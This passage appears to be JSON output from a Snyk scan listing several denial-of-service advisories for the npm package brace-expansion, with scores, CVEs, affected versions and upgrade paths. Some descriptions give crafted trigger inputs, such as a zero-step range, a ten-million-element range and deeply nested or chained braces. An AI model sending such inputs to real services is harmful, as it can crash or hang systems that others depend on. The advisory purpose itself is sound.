of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays 